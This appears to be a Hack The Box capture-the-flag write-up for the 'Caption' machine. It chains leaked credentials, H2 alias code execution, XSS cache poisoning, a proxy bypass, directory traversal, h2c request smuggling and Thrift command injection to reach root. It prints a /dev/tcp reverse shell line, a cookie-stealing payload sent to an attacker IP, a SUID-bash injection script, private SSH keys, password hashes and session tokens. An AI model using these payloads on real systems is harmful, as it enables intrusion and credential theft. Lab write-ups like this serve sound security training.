Caption

Recon

nmap_scan.log|h-50%_styled

HTTP (8080)

GitBucket

Writeup-1.png

Default Creds

Nothing to see as unauthenticated user. Search for defaults:

Writeup-2.png

Creds: root:root

Login is successful

Writeup-3.png

Leaked Creds

User credentials in commit of frontend application:http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a

Writeup-5.png

Creds: margo:vFr&cS2#0!

Logservice

There's also Logservice application.

Writeup-4.png

http://caption.htb:8080/root/Logservice/blob/main/server.go

package main
 
import (
    "context"
    "fmt"
    "log"
    "os"
    "bufio"
    "regexp"
    "time"
    "github.com/apache/thrift/lib/go/thrift"
    "os/exec"
    "log_service"
)
 
type LogServiceHandler struct{}
 
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}
 
func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }
 
    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

H2 Database

Abusing H2 Database ALIASRemote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2

Writeup-7.png
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

CALL SHELLEXEC('id') -- Works
CALL SHELLEXEC('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.47/4444 0>&1"') -- Doesnt work
Writeup-8.png
CALL SHELLEXEC('ls -a');
CALL SHELLEXEC('ls -a .ssh');
CALL SHELLEXEC('cat .ssh/id_ecdsa');
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy 
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS4DrhfSCL9byYFpRzmkNLZ7lklUNQBBjxf8vrCceMQ 
lopUyvPs3ip7nBUfYY4EcpqVGJU8ApEXNJkeee+LcxA2AAAAoDpECTs6RAk7AAAAE2VjZHNhLXNo 
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLgOuF9IIv1vJgWlHOaQ0tnuWSVQ1AEGPF/y+sJx 
4xCWilTK8+zeKnucFR9hjgRympUYlTwCkRc0mR5574tzEDYAAAAhAOybR0JRGNqDb1WCp7IOzoIW 
ZmWJAG4QKQz/06T9otdMAAAAAAECAwQFBgc= 
-----END OPENSSH PRIVATE KEY-----

SSH

└─$ vi margo.id_rsa
└─$ chmod 600 margo.id_rsa
└─$ ssh margo@caption.htb -i margo.id_rsa
margo@caption:~$ id
uid=1000(margo) gid=1000(margo) groups=1000(margo)

User.txt

margo@caption:~$ cat user.txt
98a688a7cee29ac682235be3c3667929

Frontend App Backend Source

margo@caption:~/app$ cat app.py
import uuid, requests, jwt
from flask import *
from functools import wraps
from datetime import timedelta, datetime
from jwt.exceptions import ExpiredSignatureError, InvalidTokenError

app = Flask(__name__)
app.secret_key=uuid.uuid4().hex

SECRET_KEY = app.secret_key

def create_jwt_token(user_id):
    expiration_time = datetime.now() + timedelta(hours=1)
    payload = { 'username': user_id, 'exp': expiration_time }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token, expiration_time

def login_required(f):
    @wraps(f)
    def wrap(*args, **kwargs):
        auth_cookie = request.cookies.get('session')
        if auth_cookie:
            try:
                payload = jwt.decode(auth_cookie, SECRET_KEY, algorithms=['HS256'])
                user_id = payload['username']
                return f(*args, **kwargs)
            except ExpiredSignatureError:
                return redirect('/?err=sess_err')
            except InvalidTokenError:
                return redirect('/?err=sess_err')
        else:
            return redirect('/')
    return wrap

@app.route('/',methods=['GET','POST'])
def index():
    if request.method=="POST":
        username = request.form['username']
        password = request.form['password']
        if username == 'margo' and password == 'vFr&cS2#0!':
            resp = make_response(redirect(url_for('home')))
            jwt_token, expiration_time = create_jwt_token("margo")
            resp.set_cookie('session', jwt_token, expires=expiration_time, httponly=False)
            return resp
        elif username == 'admin' and password == 'cFgjE@0%l0':
            resp = make_response(redirect(url_for('home')))
            jwt_token, expiration_time = create_jwt_token("admin")
            resp.set_cookie('session', jwt_token, expires=expiration_time, httponly=False)
            return resp
        else:
            return redirect('/?err=login_err')
    else:
        if request.args.get('err'):
            if 'login_err' in request.args.get('err'):
                return render_template('index.html',error="Invalid Credentials")
            elif 'role_error' in request.args.get('err'):
                return render_template('index.html',error="Require Supervisor Role")
            else:
                return render_template('index.html',error="Session timed out")
        else:
            return render_template('index.html')

@app.route('/home')
@login_required
def home():
    try:
        host = request.headers['X-Forwarded-Host']
        return render_template('home.html',host=host)
    except:
        return render_template('home.html',host='internal-proxy.local')

@app.route('/logs',methods=['GET','POST'])
@login_required
def logs():
    if request.cookies.get('session'):
        auth_cookie = request.cookies.get('session')
        username = validate_user(auth_cookie)
        if username == "admin":
            return render_template('logs.html')
    else:
        return redirect('/?err=role_error')

@app.route('/firewalls')
@login_required
def firewall():
    try:
        host = request.headers['X-Forwarded-Host']
        return render_template('firewall.html',host=host)
    except:
        return render_template('firewall.html',host='internal-proxy.local')

@app.route('/logout')
def logout():
    response = make_response(redirect('/'))
    response.set_cookie('session', '', expires=0)
    return response

@app.route('/download')
@login_required
def download():
    if request.cookies.get('session'):
        auth_cookie = request.cookies.get('session')
        username = validate_user(auth_cookie)
        if username == "admin":
            url = request.args.get('url')
            try:
                file = requests.get(url)
                return file.text
            except:
                return 'Something went wrong'
    else:
        return redirect('/?err=role_error')

def validate_user(auth_cookie):
    try:
        payload = jwt.decode(auth_cookie, SECRET_KEY, algorithms=['HS256'])
        user_id = payload['username']
        return user_id
    except ExpiredSignatureError:
        return redirect('/?err=sess_err')
    except InvalidTokenError:
        return None

app.run(port=8000)

Creds: admin:cFgjE@0%l0

Still doesn't work because HAProxy is restricting any request being made to server.

margo@caption:~$ curl 10.10.14.47/lp.sh|sh|tee /tmp/lp.log
...
root         952  0.0  0.0   6896  2868 ?        Ss   Sep12   0:00 /usr/sbin/cron -f -P
root         961  0.0  0.1  10340  4104 ?        S    Sep12   0:00  _ /usr/sbin/CRON -f -P
ruth         981  0.0  0.0   2892   988 ?        Ss   Sep12   0:00  |   _ /bin/sh -c cd /home/ruth;bash varnish_logs.sh
ruth         988  0.0  0.0   7372  3340 ?        S    Sep12   0:00  |       _ bash varnish_logs.sh
ruth         992  1.0  2.0  86284 80376 ?        S    Sep12  39:29  |           _ varnishncsa -c -F %{VCL_Log:client_ip}x
ruth         993  0.0  0.0   7372  1948 ?        S    Sep12   0:01  |           _ bash varnish_logs.sh
root         962  0.0  0.1  10340  4104 ?        S    Sep12   0:00  _ /usr/sbin/CRON -f -P
margo        982  0.0  0.0   2892  1056 ?        Ss   Sep12   0:00  |   _ /bin/sh -c cd /home/margo;/usr/bin/java -jar gitbucket.war
margo        986  0.3 11.3 3672516 455584 ?      Sl   Sep12  11:17  |       _ /usr/bin/java -jar gitbucket.war
root         963  0.0  0.1  10340  4104 ?        S    Sep12   0:00  _ /usr/sbin/CRON -f -P
margo        980  0.0  0.0   2892   964 ?        Ss   Sep12   0:00  |   _ /bin/sh -c cd /home/margo/app;python3 app.py
margo        989  0.0  1.1 1084992 46536 ?       S    Sep12   1:41  |       _ python3 app.py
root         964  0.0  0.1  10340  4104 ?        S    Sep12   0:00  _ /usr/sbin/CRON -f -P
margo        983  0.0  0.0   2892  1000 ?        Ss   Sep12   0:00  |   _ /bin/sh -c cd /home/margo;python3 copyparty-sfx.py -i 127.0.0.1 -v logs::r
margo        987  0.0  0.8 1000552 33652 ?       Sl   Sep12   0:00  |       _ python3 copyparty-sfx.py -i 127.0.0.1 -v logs::r
root         965  0.0  0.0  10344  3992 ?        S    Sep12   0:00  _ /usr/sbin/CRON -f -P
root         979  0.0  0.0   2892   976 ?        Ss   Sep12   0:00      _ /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root         985  0.0  0.4 1314792 18004 ?       Sl   Sep12   0:08          _ /usr/local/go/bin/go run server.go
root        1391  0.0  0.1 1083704 4496 ?        Sl   Sep12   0:00              _ /tmp/go-build696759649/b001/exe/server
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      987/python3
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      989/python3
tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      986/java
tcp6       0      0 :::22                   :::*                    LISTEN      -
...

HTTP (80)

Writeup.png

We are able to authenticate as margo

Writeup-6.png

Also admin from source, but we can't do anything. /logs and /download is blocked by HAProxy.

Do port forwarding to bypass the proxy.

└─$ ssh margo@caption.htb -i margo.id_rsa -L 8000:0:8000

Logservice Exploit

/logs is now accessible, but /download fails. The previous application (Logservice) is probably running as privileged user.

log_service.thrift:

namespace go log_service

service LogService {
    string ReadLogFile(1: string filePath)
}
└─$ ssh margo@caption.htb -i margo.id_rsa -L 9090:0:9090
└─$ venv 
└─$ pip install thrift
└─$ cp ../gitbucket/Logservice-main/log_service.thrift .
└─$ sudo apt install thrift-compiler -y
└─$ thrift -r --gen py log_service.thrift
└─$ mv gen-py/log_service/ .

Thrift has a guide: https://thrift.apache.org/tutorial/py.html

We can use generated code by thrift to work with the service and inject malicious payload.

from thrift.transport import TSocket, TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
import os

PAYLOAD_FILE = '/tmp/payload'
PAYLOAD = '''
{"user-agent":"letmein'; cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash; # ", "ip": "127.0.0.1"}
'''.strip()

def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol  = TBinaryProtocol.TBinaryProtocol(transport)
    client    = LogService.Client(protocol)
    
    transport.open()
    try:                   client.ReadLogFile(PAYLOAD_FILE)
    except Exception as e: print(f"Error: {e}")
    finally:               transport.close()

if __name__ == "__main__":
    with open(PAYLOAD_FILE, 'w') as f: f.write(PAYLOAD)
    os.system("scp -i ../margo.id_rsa /tmp/payload margo@caption.htb:/tmp/payload")
    main()

Root

margo@caption:~$ /tmp/rootbash -p
rootbash-5.1# cd /root
rootbash-5.1# ls
go  go.mod  go.sum  output.log  root.txt  server.go
rootbash-5.1# id
uid=1000(margo) gid=1000(margo) euid=0(root) groups=1000(margo)

Root.txt

rootbash-5.1# cat root.txt
c7ce7c213da8f9584bf56f3b7be5fd84

Hashes

root:$y$j9T$Z0mAEpyXxUFgbF4zyQYIm0$tfEWxKHM9Yv0fztCJ6GT/RYj87nvBZIl3t8ssYc3GnB:19956:0:99999:7:::  
margo:$y$j9T$1.nErPXvyX8GM8SBRu8/B1$rCxIQkAu/A5K6b5xIZBJ6oeKfPp6R3WHDds/Z1OTEZ8:19956:0:99999:7:::  
ruth:$y$j9T$8eN6xHfvLg4evyRqa2g7l1$AgJWIup1DAeX.Vo1wr69..LMTys7hBGepHknEKPwMOB:19960:0:99999:7:::  

Past Root

varnish > default.vcl

root@caption:/etc/varnish# cat default.vcl
vcl 4.0;

import std;

backend default {
    .host = "127.0.0.1";
    .port = "8000";
}

sub vcl_recv {
    unset req.http.proxy;
    if (req.url ~ "/firewalls" && req.url ~ "(\?|\&)ip=10\.10\..*") {
        return (hash);
    }
    if (req.method == "XCGFULLBAN") {
        ban("req.http.host ~ .*");
        return (synth(200, "Full cache cleared"));
    }
}

sub vcl_backend_response{
    if (bereq.url ~ "/firewalls" && bereq.url ~ "(\?|\&)ip=10\.10\..*" && beresp.status == 200) {
        set beresp.ttl = 120s;
        set beresp.http.cache-control = "public, max-age=120";
        return (deliver);
    }
}

sub vcl_deliver {
    if (obj.hits == 1) {
        set resp.http.X-Cache = "HIT";
        std.log("client_ip: " + regsub(req.url, ".*ip=([^&]+)&?.*", "\1"));
    }
    if (obj.hits == 0) {
        set resp.http.X-Cache = "MISS";
    }
    else {
        unset resp.http.X-Cache;
    }
}

ruth > bot.py

root@caption:/home/ruth# cat bot.py
import sys
import requests
import subprocess
from time import sleep
from bs4 import BeautifulSoup
from seleniumwire import webdriver


def cache_automation(ip):
    option = webdriver.ChromeOptions()
    option.add_argument('--no-sandbox')
    option.add_argument('--headless')
    option.add_argument("--remote-debugging-port=34572")
    driver = webdriver.Chrome(options=option)
    print('[*] Starting Browsing as Admin')
    r = requests.post(
        'http://caption.htb/',
        data={
            'username': 'admin',
            'password': 'cFgjE@0%l0'
        },
        allow_redirects=False
    )
    cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
    driver.get('http://caption.htb')
    driver.add_cookie({"name": "session", "value": "%s" % (cookie)})
    r = requests.get(f'http://caption.htb/firewalls?ip={ip}', cookies={'session': cookie})
    soup = BeautifulSoup(r.text, "html.parser")
    try:
        link = soup.find_all('script')[1]['src'].split('?')[1]
        if 'internal-proxy.local' in link:
            print(f"[!] Request not poisoned yet - {link}")
            driver.close()
            driver.quit()
        else:
            print(f'[+] Request is cached - {link}')
            driver.get(f'http://caption.htb/firewalls?ip={ip}')
            print('[*] Browsed to the firewall page')
            driver.close()
            driver.quit()
    except:
        pass


cache_automation(sys.argv[1])

ruth > varnish_logs.sh

root@caption:/home/ruth# cat varnish_logs.sh
#!/bin/bash

read_output() {
    while read -r line; do
        if [[ -n "$line" ]];then
            python3 /home/ruth/bot.py "$line"
        fi
    done
}

varnishncsa -c -F "%{VCL_Log:client_ip}x" | read_output

Intended Route

I think on release date everything went wrong and nobody got the intended route 😄

As I kept digging the source code I realized that real chain of attack was

  1. GitBucket

  2. Source Code

  3. Guessy work

  4. XSS via header

  5. Cache poison

  6. admin

  7. HAProxy bypass

  8. LFI

  9. Fuzzing

  10. Service on 9090

On GitBucket we can login with default credentials (root:root) and browse source of 2 applications. For now we only need Caption-Portal. Now the trickiest part is figuring out how to perform anything at all.

If you look in the source you can view something like this:

<script src="http://caption.htb/static/js/lib.js?utm_source=http://internal-proxy.local"></script>

Now comes the guessy work, considering we don't know how this value is populated there's only plug and play situation...

From the GitBucket we have credentials for margo user and we can fuzz for headers which effect how url works.

└─$ ffuf -u 'http://caption.htb/home' -H 'FUZZ: letmein' -w /usr/share/seclists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers -H 'Cookie: JSESSIONID=node01rmc0p8imfla6uy4d8cvbyzsh0.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI0NTAwfQ.KtHnUu4L6rXQ852Dek-J9knTxSB9YigUyZCXLH0Cw-8' -fs 7106
       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://caption.htb/home
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
 :: Header           : FUZZ: letmein
 :: Header           : Cookie: JSESSIONID=node01rmc0p8imfla6uy4d8cvbyzsh0.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI0NTAwfQ.KtHnUu4L6rXQ852Dek-J9knTxSB9YigUyZCXLH0Cw-8
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7106
________________________________________________

Host                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 79ms]
X-Forwarded-Host        [Status: 200, Size: 7067, Words: 1472, Lines: 193, Duration: 102ms]
:: Progress: [1102/1102] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:02] :: Errors: 1 ::

So because we can control the contents of script we can also inject and gain XSS, but first let's test it.

X-Forwarded-Host: "></script><script>fetch('http://10.10.14.47?x=you_god_damn_right')</script>
Writeup-9.png

If you notice age header increased, this is because Varnish is a caching HTTP reverse proxy service and whatever we send is cached and later used. If I make request to XXX and then you make same request you will get cached page from server and not a new one.

Writeup-10.png

Anyway, check your server listener and what do you know! someone is visiting the website frequently so maybe we can steal their cookies too?

└─$ serve                                                                                                     
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.21.229 - - [15/Sep/2024 13:51:28] "GET /?x=you_god_damn_right HTTP/1.1" 200 -
10.129.21.229 - - [15/Sep/2024 13:51:28] "GET /?x=you_god_damn_right HTTP/1.1" 200 -
10.129.21.229 - - [15/Sep/2024 13:51:29] "GET /?x=you_god_damn_right HTTP/1.1" 200 -
X-Forwarded-Host: "></script><img src=x onerror="this.src='http://10.10.14.47/?c='+document.cookie; this.removeAttribute('onerror');">
10.129.21.229 - - [15/Sep/2024 13:59:00] "GET /?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI2NzE0fQ.CQOpd3xVVoAz7w5597E6QjJzMlqTpdwN382eDa6RYjQ HTTP/1.1" 200 -

XCGFULLBAN can be used to clear cache, or wait 120sec

curl caption.htb -X XCGFULLBAN

Now that we are logged in as other user (presumably higher then margo) we can browse around. If we go to /logs we get denied because of HAProxy

http://caption.htb:8080/root/Caption-Portal/blob/main/config/haproxy/haproxy.cfg

frontend http_front
   bind *:80
   default_backend http_back
   acl restricted_page path_beg,url_dec -i /logs
   acl restricted_page path_beg,url_dec -i /download
   http-request deny if restricted_page
   acl not_caption hdr_beg(host) -i caption.htb
   http-request redirect code 301 location http://caption.htb if !not_caption

Basically any request to /logs or /download is blocked! BUT the path is only filtering case, so what prevents us from injecting a forward slash at the front? (or similar payload)

Writeup-11.png

Absolutely nothing.

Great, we can view log files like:view-source:http://caption.htb//download?url=http://127.0.0.1:3923/ssh_logs

But why is request made to internal webapp?

Searching for this service we end up on GitHub and exploit:

Writeup-12.png

copyparty 1.8.2 - Directory Traversal

LFI like: http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/../../../../../etc/passwd will not work because we need to urlencode, but it will not work, because we need to urlencode again for the second request.

0: /../../../../../etc/passwd
1: %2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
2: %252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

view-source:http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

Writeup-13.png

There's 3 valid users: root, margo and ruth

Automate the file grabbing:

import socket
import requests
from urllib.parse import quote_plus

raw_request = (
    "GET //download?url=http://127.0.0.1:3923/.cpr/{payload} HTTP/1.1\r\n"
    "Host: caption.htb\r\n"
    "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI3MzUyfQ.hOaNSLJMiAD0uEOBf-lfGBJ7eNIttS2XFpRfW25u00o; JSESSIONID=node02nxrc9p7errztc1b6bpoqtt10.node0\r\n"
    "Connection: close\r\n\r\n"
)

while True:
    file = input('File To Read: ')
    file = quote_plus(quote_plus(file))
    request = raw_request.format(payload=file)
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('caption.htb', 80))
        s.sendall(request.encode())
        response = b""
        while True:
            data = s.recv(4096)
            if not data: break
            response += data

        print(response.decode())

Since we don't know what we are looking for and /proc/self/* doesn't work, fuzz.

I first focused on SSH keys. Had to resort to sockets because // was not accepted in the url by requests

from pathlib import Path
import socket
from urllib.parse import quote_plus

def send(request_template, payload):
    file = quote_plus(quote_plus(payload))
    request = request_template.format(payload=file)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('caption.htb', 80))
        s.sendall(request.encode())
        response = b""
        while True:
            data = s.recv(4096)
            if not data: break
            response += data

    return response.decode()

raw_template = (
    "GET //download?url=http://127.0.0.1:3923/.cpr/{payload} HTTP/1.1\r\n"
    "Host: caption.htb\r\n"
    "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDMxNjkwfQ.FZYrEDi1bCIOYG3-bghJWezQBNT5xk4WWkPYB3D6XeE\r\n"
    "Connection: close\r\n\r\n"
)
wordlist = '/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt'
users = ('margo', 'ruth')

with open(wordlist) as f:
    for line in f:
        if 'ssh' in line:
            for user in users:
                ssh_file = f'/home/{user}/.ssh/{Path(line.strip()).name}'
                print(ssh_file)
                
                resp = send(raw_template, ssh_file)
                if 'currently disabled' in resp: continue
                print(resp)

We gained margo ssh key and can login as her. (SSH key is from Arena VPN, so it may not work on public IP)

/home/margo/.ssh/id_ecdsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQmMC7GnGnjrvRcmcWPpOJ/2xmlmwfXQ991y/cuIydL
9dpTLANeGjmXEkKMBwxH9fuVnJNvO8KeXMAmbe3WtNpVAAAAoDw1+LE8NfixAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYwLsacaeOu9FyZxY+k4n/bGaWbB9dD33XL9y4j
J0v12lMsA14aOZcSQowHDEf1+5Wck287wp5cwCZt7da02lUAAAAgLNRYd82pbUTSr7jrv5gj0uPM
ZDlMG8Vw135H7ttr6xEAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
...

From this point on the path to root is the same, exploit the service on port 9090 (thrift) and that's it, I guess.


Could be useful: https://github.com/kacperszurek/exploits/blob/master/GitBucket/gitbucket-unauthenticated-rce.md

Intended Route 2 (HAProxy bypass)

After some time machine got patched, root:root was removed and HAProxy was also fixed...

Writeup-14.png

HAProxy is vulnerable to H2 Smuggling Request

Upgrade Header Smugglingh2csmuggler

└─$ py h2csmuggler.py -x http://caption.htb -t
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling

└─$ py h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: JSESSIONID=node0h5gnobn4ilvpg9k2xvikq5fg1.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4ODA5NTY4fQ.BdqGh1I9qwVwKWKy5c8DZplq_MDfnrvx7LkTC_STAP8' > logs.html
Writeup-15.png

Now that we can bypass the proxy the steps are relatively the same:

└─$ py h2csmuggler.py -x http://caption.htb 'http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd' -H 'Cookie: JSESSIONID=node0h5gnobn4ilvpg9k2xvikq5fg1.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4ODA5NTY4fQ.BdqGh1I9qwVwKWKy5c8DZplq_MDfnrvx7LkTC_STAP8' | tail -50
x-varnish: 1477192
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

Get private key:

└─$ py h2csmuggler.py -x http://caption.htb 'http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa' -H 'Cookie: JSESSIONID=node0h5gnobn4ilvpg9k2xvikq5fg1.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4ODA5NTY4fQ.BdqGh1I9qwVwKWKy5c8DZplq_MDfnrvx7LkTC_STAP8' | tail -15
x-cache: MISS
accept-ranges: bytes

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

This step can be automated, but at this point we know this file exists...

Last updated